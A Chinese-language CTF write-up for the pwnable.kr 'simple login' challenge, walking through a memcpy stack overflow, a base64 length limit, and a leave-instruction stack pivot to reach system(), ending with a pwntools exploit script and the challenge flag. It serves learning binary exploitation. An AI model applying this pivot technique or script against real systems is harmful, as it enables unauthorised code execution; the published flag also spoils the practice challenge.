PWN學習之[Rookiss]-[simple login]

文件下載下來後是個elf可執行文件
用IDA反編譯後可以看到溢出點在auth函數中

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

memcpy函數將input的值copy至v4地址中,導致棧溢出。

image

通過gdb查看棧,其中綠色箭頭爲v4的地址紅色箭頭爲auth函數返回地址,可以看到如果覆蓋返回地址需要填充12個字節,13-16個字節改變返回地址

但是,本題要求輸入字符通過base64解碼且解碼後長度不能超過12個

 v6 = Base64Decode((int)&v5, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }

這就比較尷尬了….陷入懵逼循環中…

最後看到http://www.cnblogs.com/anewid/p/4567242.html這篇博客才知道如何去做,感謝大佬

關鍵在於leave指令

leave指令等同於下面兩條命令(32位)

mov esp, ebp
pop ebp;

該命令會將esp中的值給ebp,同時esp自身會+4

該指令執行完之後結果爲:

esp = ebp + 4,ebp = [ebp]

因爲在auth函數和main函數中最後都有leave指令,所以我們可以構造一個這樣的payload:
‘aaaa’+system的地址+該輸入存儲的地址

輸入後棧中情況爲這樣
image

可見輸入的數據與返回地址只有一步之遙,
再聯想剛纔說的leave指令,怎麼樣?懂了吧!
auth函數中的leave指令會將ESP改爲EBP+4既函數返回地址,將EBP的值改爲0x811eb40的值既剛纔輸入的首地址然後函數返回,程序繼續執行

此時的EBP的值已經被改爲輸入的首地址,當程序執行到main函數的leave指令時,將EBP加4賦值給ESP,剛纔EBP的值已經被改爲我們輸入的首地址了,再加4即爲system的地址!

就這樣,我們成功get shell
獲得flag:control EBP, control ESP, control EIP, control the world~

腳本如下

from pwn import *
import base64
sysaddr=0x8049284
inaddr=0x811EB40
shellcode='aaaa'+p32(sysaddr)+p32(inaddr)
shellcode=base64.b64encode(shellcode)
#print shellcode
con=remote('pwnable.kr',9003)
#con=process('./login')
con.recvuntil('Authenticate : ')
con.sendline(shellcode)
con.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章